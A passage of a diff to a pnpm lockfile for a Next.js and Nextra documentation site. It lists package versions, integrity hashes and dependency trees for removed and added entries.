sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==} - engines: {node: '>=0.10.0'} - dev: false - - /shiki@0.14.7: - resolution: {integrity: sha512-dNPAPrxSc87ua2sKJ3H5dQ/6ZaY8RNnaAqK+t0eG7p0Soi2ydiqbGOTaZCqaYvA/uZYfS1LJnemt3Q+mSfcPCg==} - dependencies: - ansi-sequence-parser: 1.1.1 - jsonc-parser: 3.2.1 - vscode-oniguruma: 1.7.0 - vscode-textmate: 8.0.0 - dev: false - - /signal-exit@3.0.7: - resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==} - dev: false - - /slash@3.0.0: - resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==} - engines: {node: '>=8'} - dev: false - - /sort-keys@5.0.0: - resolution: {integrity: sha512-Pdz01AvCAottHTPQGzndktFNdbRA75BgOfeT1hH+AMnJFv8lynkPi42rfeEhpx1saTEI3YNMWxfqu0sFD1G8pw==} - engines: {node: '>=12'} - dependencies: - is-plain-obj: 4.1.0 - dev: false - - /source-map-js@1.2.0: - resolution: {integrity: sha512-itJW8lvSA0TXEphiRoawsCksnlf8SyvmFzIhltqAHluXd88pkCd+cXJVHTDwdCr0IzwptSm035IHQktUu1QUMg==} - engines: {node: '>=0.10.0'} - dev: false - - /source-map@0.7.4: - resolution: {integrity: sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==} - engines: {node: '>= 8'} - dev: false - - /space-separated-tokens@2.0.2: - resolution: {integrity: sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==} - dev: false - - /sprintf-js@1.0.3: - resolution: {integrity: sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==} - dev: false - - /streamsearch@1.1.0: - resolution: {integrity: sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==} - engines: {node: '>=10.0.0'} - dev: false - - /stringify-entities@4.0.3: - resolution: {integrity: sha512-BP9nNHMhhfcMbiuQKCqMjhDP5yBCAxsPu4pHFFzJ6Alo9dZgY4VLDPutXqIjpRiMoKdp7Av85Gr73Q5uH9k7+g==} - dependencies: - character-entities-html4: 2.1.0 - character-entities-legacy: 3.0.0 - dev: false - - /strip-bom-string@1.0.0: - resolution: {integrity: sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==} - engines: {node: '>=0.10.0'} - dev: false - - /strip-eof@1.0.0: - resolution: {integrity: sha512-7FCwGGmx8mD5xQd3RPUvnSpUXHM3BWuzjtpD4TXsfcZ9EL4azvVVUscFYwD9nx8Kh+uCBC00XBtAykoMHwTh8Q==} - engines: {node: '>=0.10.0'} - dev: false - - /style-to-object@0.4.4: - resolution: {integrity: sha512-HYNoHZa2GorYNyqiCaBgsxvcJIn7OHq6inEga+E6Ke3m5JkoqpQbnFssk4jwe+K7AhGa2fcha4wSOf1Kn01dMg==} - dependencies: - inline-style-parser: 0.1.1 - dev: false - - /styled-jsx@5.1.1(react@18.2.0): - resolution: {integrity: sha512-pW7uC1l4mBZ8ugbiZrcIsiIvVx1UmTfw7UkC3Um2tmfUq9Bhk8IiyEIPl6F8agHgjzku6j0xQEZbfA5uSgSaCw==} - engines: {node: '>= 12.0.0'} - peerDependencies: - '@babel/core': '*' - babel-plugin-macros: '*' - react: '>= 16.8.0 || 17.x.x || ^18.0.0-0' - peerDependenciesMeta: - '@babel/core': - optional: true - babel-plugin-macros: - optional: true - dependencies: - client-only: 0.0.1 - react: 18.2.0 - dev: false - - /stylis@4.3.1: - resolution: {integrity: sha512-EQepAV+wMsIaGVGX1RECzgrcqRRU/0sYOHkeLsZ3fzHaHXZy4DaOOX0vOlGQdlsjkh3mFHAIlVimpwAs4dslyQ==} - dev: false - - /supports-color@4.5.0: - resolution: {integrity: sha512-ycQR/UbvI9xIlEdQT1TQqwoXtEldExbCEAJgRo5YXlmSKjv6ThHnP9/vwGa1gr19Gfw+LkFd7KqYMhzrRC5JYw==} - engines: {node: '>=4'} - dependencies: - has-flag: 2.0.0 - dev: false - - /title@3.5.3: - resolution: {integrity: sha512-20JyowYglSEeCvZv3EZ0nZ046vLarO37prvV0mbtQV7C8DJPGgN967r8SJkqd3XK3K3lD3/Iyfp3avjfil8Q2Q==} - hasBin: true - dependencies: - arg: 1.0.0 - chalk: 2.3.0 - clipboardy: 1.2.2 - titleize: 1.0.0 - dev: false - - /titleize@1.0.0: - resolution: {integrity: sha512-TARUb7z1pGvlLxgPk++7wJ6aycXF3GJ0sNSBTAsTuJrQG5QuZlkUQP+zl+nbjAh4gMX9yDw9ZYklMd7vAfJKEw==} - engines: {node: '>=0.10.0'} - dev: false - - /trim-lines@3.0.1: - resolution: {integrity: sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==} - dev: false - - /trough@2.2.0: - resolution: {integrity: sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==} - dev: false - - /ts-dedent@2.2.0: - resolution: {integrity: sha512-q5W7tVM71e2xjHZTlgfTDoPF/SmqKG5hddq9SzR49CH2hayqRKJtQ4mtRlSxKaJlR/+9rEM+mnBHf7I2/BQcpQ==} - engines: {node: '>=6.10'} - dev: false - - /tslib@2.6.2: - resolution: {integrity: sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==} - dev: false - - /type-fest@1.4.0: - resolution: {integrity: sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==} - engines: {node: '>=10'} - dev: false - - /typescript@4.9.5: - resolution: {integrity: sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==} - engines: {node: '>=4.2.0'} - hasBin: true - dev: true - - /unified@10.1.2: - resolution: {integrity: sha512-pUSWAi/RAnVy1Pif2kAoeWNBa3JVrx0MId2LASj8G+7AiHWoKZNTomq6LG326T68U7/e263X6fTdcXIy7XnF7Q==} - dependencies: - '@types/unist': 2.0.10 - bail: 2.0.2 - extend: 3.0.2 - is-buffer: 2.0.5 - is-plain-obj: 4.1.0 - trough: 2.2.0 - vfile: 5.3.7 - dev: false - - /unist-util-find-after@5.0.0: - resolution: {integrity: sha512-amQa0Ep2m6hE2g72AugUItjbuM8X8cGQnFoHk0pGfrFeT9GZhzN5SW8nRsiGKK7Aif4CrACPENkA6P/Lw6fHGQ==} - dependencies: - '@types/unist': 3.0.2 - unist-util-is: 6.0.0 - dev: false - - /unist-util-generated@2.0.1: - resolution: {integrity: sha512-qF72kLmPxAw0oN2fwpWIqbXAVyEqUzDHMsbtPvOudIlUzXYFIeQIuxXQCRCFh22B7cixvU0MG7m3MW8FTq/S+A==} - dev: false - - /unist-util-is@5.2.1: - resolution: {integrity: sha512-u9njyyfEh43npf1M+yGKDGVPbY/JWEemg5nH05ncKPfi+kBbKBJoTdsogMu33uhytuLlv9y0O7GH7fEdwLdLQw==} - dependencies: - '@types/unist': 2.0.10 - dev: false - - /unist-util-is@6.0.0: - resolution: {integrity: sha512-2qCTHimwdxLfz+YzdGfkqNlH0tLi9xjTnHddPmJwtIG9MGsdbutfTc4P+haPD7l7Cjxf/WZj+we5qfVPvvxfYw==} - dependencies: - '@types/unist': 3.0.2 - dev: false - - /unist-util-position-from-estree@1.1.2: - resolution: {integrity: sha512-poZa0eXpS+/XpoQwGwl79UUdea4ol2ZuCYguVaJS4qzIOMDzbqz8a3erUCOmubSZkaOuGamb3tX790iwOIROww==} - dependencies: - '@types/unist': 2.0.10 - dev: false - - /unist-util-position@4.0.4: - resolution: {integrity: sha512-kUBE91efOWfIVBo8xzh/uZQ7p9ffYRtUbMRZBNFYwf0RK8koUMx6dGUfwylLOKmaT2cs4wSW96QoYUSXAyEtpg==} - dependencies: - '@types/unist': 2.0.10 - dev: false - - /unist-util-position@5.0.0: - resolution: {integrity: sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==} - dependencies: - '@types/unist': 3.0.2 - dev: false - - /unist-util-remove-position@4.0.2: - resolution: {integrity: sha512-TkBb0HABNmxzAcfLf4qsIbFbaPDvMO6wa3b3j4VcEzFVaw1LBKwnW4/sRJ/atSLSzoIg41JWEdnE7N6DIhGDGQ==} - dependencies: - '@types/unist': 2.0.10 - unist-util-visit: 4.1.2 - dev: false - - /unist-util-remove-position@5.0.0: - resolution: {integrity: sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q==} - dependencies: - '@types/unist': 3.0.2 - unist-util-visit: 5.0.0 - dev: false - - /unist-util-remove@4.0.0: - resolution: {integrity: sha512-b4gokeGId57UVRX/eVKej5gXqGlc9+trkORhFJpu9raqZkZhU0zm8Doi05+HaiBsMEIJowL+2WtQ5ItjsngPXg==} - dependencies: - '@types/unist': 3.0.2 - unist-util-is: 6.0.0 - unist-util-visit-parents: 6.0.1 - dev: false - - /unist-util-stringify-position@3.0.3: - resolution: {integrity: sha512-k5GzIBZ/QatR8N5X2y+drfpWG8IDBzdnVj6OInRNWm1oXrzydiaAT2OQiA8DPRRZyAKb9b6I2a6PxYklZD0gKg==} - dependencies: - '@types/unist': 2.0.10 - dev: false - - /unist-util-stringify-position@4.0.0: - resolution: {integrity: sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==} - dependencies: - '@types/unist': 3.0.2 - dev: false - - /unist-util-visit-parents@4.1.1: - resolution: {integrity: sha512-1xAFJXAKpnnJl8G7K5KgU7FY55y3GcLIXqkzUj5QF/QVP7biUm0K0O2oqVkYsdjzJKifYeWn9+o6piAK2hGSHw==} - dependencies: - '@types/unist': 2.0.10 - unist-util-is: 5.2.1 - dev: false - - /unist-util-visit-parents@5.1.3: - resolution: {integrity: sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==} - dependencies: - '@types/unist': 2.0.10 - unist-util-is: 5.2.1 - dev: false - - /unist-util-visit-parents@6.0.1: - resolution: {integrity: sha512-L/PqWzfTP9lzzEa6CKs0k2nARxTdZduw3zyh8d2NVBnsyvHjSX4TWse388YrrQKbvI8w20fGjGlhgT96WwKykw==} - dependencies: - '@types/unist': 3.0.2 - unist-util-is: 6.0.0 - dev: false - - /unist-util-visit@3.1.0: - resolution: {integrity: sha512-Szoh+R/Ll68QWAyQyZZpQzZQm2UPbxibDvaY8Xc9SUtYgPsDzx5AWSk++UUt2hJuow8mvwR+rG+LQLw+KsuAKA==} - dependencies: - '@types/unist': 2.0.10 - unist-util-is: 5.2.1 - unist-util-visit-parents: 4.1.1 - dev: false - - /unist-util-visit@4.1.2: - resolution: {integrity: sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==} - dependencies: - '@types/unist': 2.0.10 - unist-util-is: 5.2.1 - unist-util-visit-parents: 5.1.3 - dev: false - - /unist-util-visit@5.0.0: - resolution: {integrity: sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg==} - dependencies: - '@types/unist': 3.0.2 - unist-util-is: 6.0.0 - unist-util-visit-parents: 6.0.1 - dev: false - - /uuid@9.0.1: - resolution: {integrity: sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==} - hasBin: true - dev: false - - /uvu@0.5.6: - resolution: {integrity: sha512-+g8ENReyr8YsOc6fv/NVJs2vFdHBnBNdfE49rshrTzDWOlUx4Gq7KOS2GD8eqhy2j+Ejq29+SbKH8yjkAqXqoA==} - engines: {node: '>=8'} - hasBin: true - dependencies: - dequal: 2.0.3 - diff: 5.2.0 - kleur: 4.1.5 - sade: 1.8.1 - dev: false - - /vfile-location@5.0.2: - resolution: {integrity: sha512-NXPYyxyBSH7zB5U6+3uDdd6Nybz6o6/od9rk8bp9H8GR3L+cm/fC0uUTbqBmUTnMCUDslAGBOIKNfvvb+gGlDg==} - dependencies: - '@types/unist': 3.0.2 - vfile: 6.0.1 - dev: false - - /vfile-matter@3.0.1: - resolution: {integrity: sha512-CAAIDwnh6ZdtrqAuxdElUqQRQDQgbbIrYtDYI8gCjXS1qQ+1XdLoK8FIZWxJwn0/I+BkSSZpar3SOgjemQz4fg==} - dependencies: - '@types/js-yaml': 4.0.9 - is-buffer: 2.0.5 - js-yaml: 4.1.0 - dev: false - - /vfile-message@3.1.4: - resolution: {integrity: sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==} - dependencies: - '@types/unist': 2.0.10 - unist-util-stringify-position: 3.0.3 - dev: false - - /vfile-message@4.0.2: - resolution: {integrity: sha512-jRDZ1IMLttGj41KcZvlrYAaI3CfqpLpfpf+Mfig13viT6NKvRzWZ+lXz0Y5D60w6uJIBAOGq9mSHf0gktF0duw==} - dependencies: - '@types/unist': 3.0.2 - unist-util-stringify-position: 4.0.0 - dev: false - - /vfile@5.3.7: - resolution: {integrity: sha512-r7qlzkgErKjobAmyNIkkSpizsFPYiUPuJb5pNW1RB4JcYVZhs4lIbVqk8XPk033CV/1z8ss5pkax8SuhGpcG8g==} - dependencies: - '@types/unist': 2.0.10 - is-buffer: 2.0.5 - unist-util-stringify-position: 3.0.3 - vfile-message: 3.1.4 - dev: false - - /vfile@6.0.1: - resolution: {integrity: sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==} - dependencies: - '@types/unist': 3.0.2 - unist-util-stringify-position: 4.0.0 - vfile-message: 4.0.2 - dev: false - - /vscode-oniguruma@1.7.0: - resolution: {integrity: sha512-L9WMGRfrjOhgHSdOYgCt/yRMsXzLDJSL7BPrOZt73gU0iWO4mpqzqQzOz5srxqTvMBaR0XZTSrVWo4j55Rc6cA==} - dev: false - - /vscode-textmate@8.0.0: - resolution: {integrity: sha512-AFbieoL7a5LMqcnOF04ji+rpXadgOXnZsxQr//r83kLPr7biP7am3g9zbaZIaBGwBRWeSvoMD4mgPdX3e4NWBg==} - dev: false - - /watchpack@2.4.0: - resolution: {integrity: sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==} - engines: {node: '>=10.13.0'} - dependencies: - glob-to-regexp: 0.4.1 - graceful-fs: 4.2.11 - dev: false - - /web-namespaces@2.0.1: - resolution: {integrity: sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ==} - dev: false - - /web-worker@1.3.0: - resolution: {integrity: sha512-BSR9wyRsy/KOValMgd5kMyr3JzpdeoR9KVId8u5GVlTTAtNChlsE4yTxeY7zMdNSyOmoKBv8NH2qeRY9Tg+IaA==} - dev: false - - /which@1.3.1: - resolution: {integrity: sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==} - hasBin: true - dependencies: - isexe: 2.0.0 - dev: false - - /yallist@2.1.2: - resolution: {integrity: sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A==} - dev: false - - /yocto-queue@0.1.0: - resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==} - engines: {node: '>=10'} - dev: false - - /zod@3.22.4: - resolution: {integrity: sha512-iC+8Io04lddc+mVqQ9AZ7OQ2MrUKGN+oIQyq1vemgt46jwCwLfhq7/pwnBnNXXXZb8VTVLKwp9EDkx+ryxIWmg==} - dev: false - - /zwitch@2.0.4: - resolution: {integrity: sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==} - dev: false +lockfileVersion: '6.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +dependencies: + next: + specifier: ^13.5.6 + version: 13.5.6(react-dom@18.2.0)(react@18.2.0) + nextra: + specifier: latest + version: 2.13.4(next@13.5.6)(react-dom@18.2.0)(react@18.2.0) + nextra-theme-docs: + specifier: latest + version: 2.13.4(next@13.5.6)(nextra@2.13.4)(react-dom@18.2.0)(react@18.2.0) + react: + specifier: ^18.2.0 + version: 18.2.0 + react-dom: + specifier: ^18.2.0 + version: 18.2.0(react@18.2.0) + +devDependencies: + '@types/node': + specifier: 18.11.10 + version: 18.11.10 + typescript: + specifier: ^4.9.3 + version: 4.9.5 + +packages: + + /@babel/runtime@7.24.1: + resolution: {integrity: sha512-+BIznRzyqBf+2wCTxcKE3wDjfGeCoVE61KSHGpkzqrLi8qxqFwBeUFyId2cxkTmm55fzDGnm0+yCxaxygrLUnQ==} + engines: {node: '>=6.9.0'} + dependencies: + regenerator-runtime: 0.14.1 + dev: false + + /@braintree/sanitize-url@6.0.4: + resolution: {integrity: sha512-s3jaWicZd0pkP0jf5ysyHUI/RE7MHos6qlToFcGWXVp+ykHOy77OUMrfbgJ9it2C5bow7OIQwYYaHjk9XlBQ2A==} + dev: false + + /@headlessui/react@1.7.18(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-4i5DOrzwN4qSgNsL4Si61VMkUcWbcSKueUV7sFhpHzQcSShdlHENE5+QBntMSRvHt8NyoFO2AGG8si9lq+w4zQ==} + engines: {node: '>=10'} + peerDependencies: + react: ^16 || ^17 || ^18 + react-dom: ^16 || ^17 || ^18 + dependencies: + '@tanstack/react-virtual': 3.2.0(react-dom@18.2.0)(react@18.2.0) + client-only: 0.0.1 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@mdx-js/mdx@2.3.0: + resolution: {integrity: sha512-jLuwRlz8DQfQNiUCJR50Y09CGPq3fLtmtUQfVrj79E0JWu3dvsVcxVIcfhR5h0iXu+/z++zDrYeiJqifRynJkA==} + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/mdx': 2.0.12 + estree-util-build-jsx: 2.2.2 + estree-util-is-identifier-name: 2.1.0 + estree-util-to-js: 1.2.0 + estree-walker: 3.0.3 + hast-util-to-estree: 2.3.3 + markdown-extensions: 1.1.1 + periscopic: 3.1.0 + remark-mdx: 2.3.0 + remark-parse: 10.0.2 + remark-rehype: 10.1.0 + unified: 10.1.2 + unist-util-position-from-estree: 1.1.2 + unist-util-stringify-position: 3.0.3 + unist-util-visit: 4.1.2 + vfile: 5.3.7 + transitivePeerDependencies: + - supports-color + dev: false + + /@mdx-js/react@2.3.0(react@18.2.0): + resolution: {integrity: sha512-zQH//gdOmuu7nt2oJR29vFhDv88oGPmVw6BggmrHeMI+xgEkp1B2dX9/bMBSYtK0dyLX/aOmesKS09g222K1/g==} + peerDependencies: + react: '>=16' + dependencies: + '@types/mdx': 2.0.12 + '@types/react': 18.2.67 + react: 18.2.0 + dev: false + + /@napi-rs/simple-git-android-arm-eabi@0.1.16: + resolution: {integrity: sha512-dbrCL0Pl5KZG7x7tXdtVsA5CO6At5ohDX3myf5xIYn9kN4jDFxsocl8bNt6Vb/hZQoJd8fI+k5VlJt+rFhbdVw==} + engines: {node: '>= 10'} + cpu: [arm] + os: [android] + requiresBuild: true + dev: false + optional: true + + /@napi-rs/simple-git-android-arm64@0.1.16: + resolution: {integrity: sha512-xYz+TW5J09iK8SuTAKK2D5MMIsBUXVSs8nYp7HcMi8q6FCRO7yJj96YfP9PvKsc/k64hOyqGmL5DhCzY9Cu1FQ==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [android] + requiresBuild: true + dev: false + optional: true + + /@napi-rs/simple-git-darwin-arm64@0.1.16: + resolution: {integrity: sha512-XfgsYqxhUE022MJobeiX563TJqyQyX4FmYCnqrtJwAfivESVeAJiH6bQIum8dDEYMHXCsG7nL8Ok0Dp8k2m42g==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [darwin] + requiresBuild: true + dev: false + optional: true + + /@napi-rs/simple-git-darwin-x64@0.1.16: + resolution: {integrity: sha512-tkEVBhD6vgRCbeWsaAQqM3bTfpIVGeitamPPRVSbsq8qgzJ5Dx6ZedH27R7KSsA/uao7mZ3dsrNLXbu1Wy5MzA==} + engines: {node: '>= 10'} + cpu: [x64] + os: [darwin] + requiresBuild: true + dev: false + optional: true + + /@napi-rs/simple-git-linux-arm-gnueabihf@0.1.16: + resolution: {integrity: sha512-R6VAyNnp/yRaT7DV1Ao3r67SqTWDa+fNq2LrNy0Z8gXk2wB9ZKlrxFtLPE1WSpWknWtyRDLpRlsorh7Evk7+7w==} + engines: {node: '>= 10'} + cpu: [arm] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@napi-rs/simple-git-linux-arm64-gnu@0.1.16: + resolution: {integrity: sha512-LAGI0opFKw/HBMCV2qIBK3uWSEW9h4xd2ireZKLJy8DBPymX6NrWIamuxYNyCuACnFdPRxR4LaRFy4J5ZwuMdw==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@napi-rs/simple-git-linux-arm64-musl@0.1.16: + resolution: {integrity: sha512-I57Ph0F0Yn2KW93ep+V1EzKhACqX0x49vvSiapqIsdDA2PifdEWLc1LJarBolmK7NKoPqKmf6lAKKO9lhiZzkg==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@napi-rs/simple-git-linux-x64-gnu@0.1.16: + resolution: {integrity: sha512-AZYYFY2V7hlcQASPEOWyOa3e1skzTct9QPzz0LiDM3f/hCFY/wBaU2M6NC5iG3d2Kr38heuyFS/+JqxLm5WaKA==} + engines: {node: '>= 10'} + cpu: [x64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@napi-rs/simple-git-linux-x64-musl@0.1.16: + resolution: {integrity: sha512-9TyMcYSBJwjT8jwjY9m24BZbu7ozyWTjsmYBYNtK3B0Um1Ov6jthSNneLVvouQ6x+k3Ow+00TiFh6bvmT00r8g==} + engines: {node: '>= 10'} + cpu: [x64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@napi-rs/simple-git-win32-arm64-msvc@0.1.16: + resolution: {integrity: sha512-uslJ1WuAHCYJWui6xjsyT47SjX6KOHDtClmNO8hqKz1pmDSNY7AjyUY8HxvD1lK9bDnWwc4JYhikS9cxCqHybw==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [win32] + requiresBuild: true + dev: false + optional: true + + /@napi-rs/simple-git-win32-x64-msvc@0.1.16: + resolution: {integrity: sha512-SoEaVeCZCDF1MP+M9bMSXsZWgEjk4On9GWADO5JOulvzR1bKjk0s9PMHwe/YztR9F0sJzrCxwtvBZowhSJsQPg==} + engines: {node: '>= 10'} + cpu: [x64] + os: [win32] + requiresBuild: true + dev: false + optional: true + + /@napi-rs/simple-git@0.1.16: + resolution: {integrity: sha512-C5wRPw9waqL2jk3jEDeJv+f7ScuO3N0a39HVdyFLkwKxHH4Sya4ZbzZsu2JLi6eEqe7RuHipHL6mC7B2OfYZZw==} + engines: {node: '>= 10'} + optionalDependencies: + '@napi-rs/simple-git-android-arm-eabi': 0.1.16 + '@napi-rs/simple-git-android-arm64': 0.1.16 + '@napi-rs/simple-git-darwin-arm64': 0.1.16 + '@napi-rs/simple-git-darwin-x64': 0.1.16 + '@napi-rs/simple-git-linux-arm-gnueabihf': 0.1.16 + '@napi-rs/simple-git-linux-arm64-gnu': 0.1.16 + '@napi-rs/simple-git-linux-arm64-musl': 0.1.16 + '@napi-rs/simple-git-linux-x64-gnu': 0.1.16 + '@napi-rs/simple-git-linux-x64-musl': 0.1.16 + '@napi-rs/simple-git-win32-arm64-msvc': 0.1.16 + '@napi-rs/simple-git-win32-x64-msvc': 0.1.16 + dev: false + + /@next/env@13.5.6: + resolution: {integrity: sha512-Yac/bV5sBGkkEXmAX5FWPS9Mmo2rthrOPRQQNfycJPkjUAUclomCPH7QFVCDQ4Mp2k2K1SSM6m0zrxYrOwtFQw==} + dev: false + + /@next/swc-darwin-arm64@13.5.6: + resolution: {integrity: sha512-5nvXMzKtZfvcu4BhtV0KH1oGv4XEW+B+jOfmBdpFI3C7FrB/MfujRpWYSBBO64+qbW8pkZiSyQv9eiwnn5VIQA==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [darwin] + requiresBuild: true + dev: false + optional: true + + /@next/swc-darwin-x64@13.5.6: + resolution: {integrity: sha512-6cgBfxg98oOCSr4BckWjLLgiVwlL3vlLj8hXg2b+nDgm4bC/qVXXLfpLB9FHdoDu4057hzywbxKvmYGmi7yUzA==} + engines: {node: '>= 10'} + cpu: [x64] + os: [darwin] + requiresBuild: true + dev: false + optional: true + + /@next/swc-linux-arm64-gnu@13.5.6: + resolution: {integrity: sha512-txagBbj1e1w47YQjcKgSU4rRVQ7uF29YpnlHV5xuVUsgCUf2FmyfJ3CPjZUvpIeXCJAoMCFAoGnbtX86BK7+sg==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@next/swc-linux-arm64-musl@13.5.6: + resolution: {integrity: sha512-cGd+H8amifT86ZldVJtAKDxUqeFyLWW+v2NlBULnLAdWsiuuN8TuhVBt8ZNpCqcAuoruoSWynvMWixTFcroq+Q==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@next/swc-linux-x64-gnu@13.5.6: + resolution: {integrity: sha512-Mc2b4xiIWKXIhBy2NBTwOxGD3nHLmq4keFk+d4/WL5fMsB8XdJRdtUlL87SqVCTSaf1BRuQQf1HvXZcy+rq3Nw==} + engines: {node: '>= 10'} + cpu: [x64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@next/swc-linux-x64-musl@13.5.6: + resolution: {integrity: sha512-CFHvP9Qz98NruJiUnCe61O6GveKKHpJLloXbDSWRhqhkJdZD2zU5hG+gtVJR//tyW897izuHpM6Gtf6+sNgJPQ==} + engines: {node: '>= 10'} + cpu: [x64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@next/swc-win32-arm64-msvc@13.5.6: + resolution: {integrity: sha512-aFv1ejfkbS7PUa1qVPwzDHjQWQtknzAZWGTKYIAaS4NMtBlk3VyA6AYn593pqNanlicewqyl2jUhQAaFV/qXsg==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [win32] + requiresBuild: true + dev: false + optional: true + + /@next/swc-win32-ia32-msvc@13.5.6: + resolution: {integrity: sha512-XqqpHgEIlBHvzwG8sp/JXMFkLAfGLqkbVsyN+/Ih1mR8INb6YCc2x/Mbwi6hsAgUnqQztz8cvEbHJUbSl7RHDg==} + engines: {node: '>= 10'} + cpu: [ia32] + os: [win32] + requiresBuild: true + dev: false + optional: true + + /@next/swc-win32-x64-msvc@13.5.6: + resolution: {integrity: sha512-Cqfe1YmOS7k+5mGu92nl5ULkzpKuxJrP3+4AEuPmrpFZ3BHxTY3TnHmU1On3bFmFFs6FbTcdF58CCUProGpIGQ==} + engines: {node: '>= 10'} + cpu: [x64] + os: [win32] + requiresBuild: true + dev: false + optional: true + + /@popperjs/core@2.11.8: + resolution: {integrity: sha512-P1st0aksCrn9sGZhp8GMYwBnQsbvAWsZAX44oXNNvLHGqAOcoVxmjZiohstwQ7SqKnbR47akdNi+uleWD8+g6A==} + dev: false + + /@swc/helpers@0.5.2: + resolution: {integrity: sha512-E4KcWTpoLHqwPHLxidpOqQbcrZVgi0rsmmZXUle1jXmJfuIf/UWpczUJ7MZZ5tlxytgJXyp0w4PGkkeLiuIdZw==} + dependencies: + tslib: 2.6.2 + 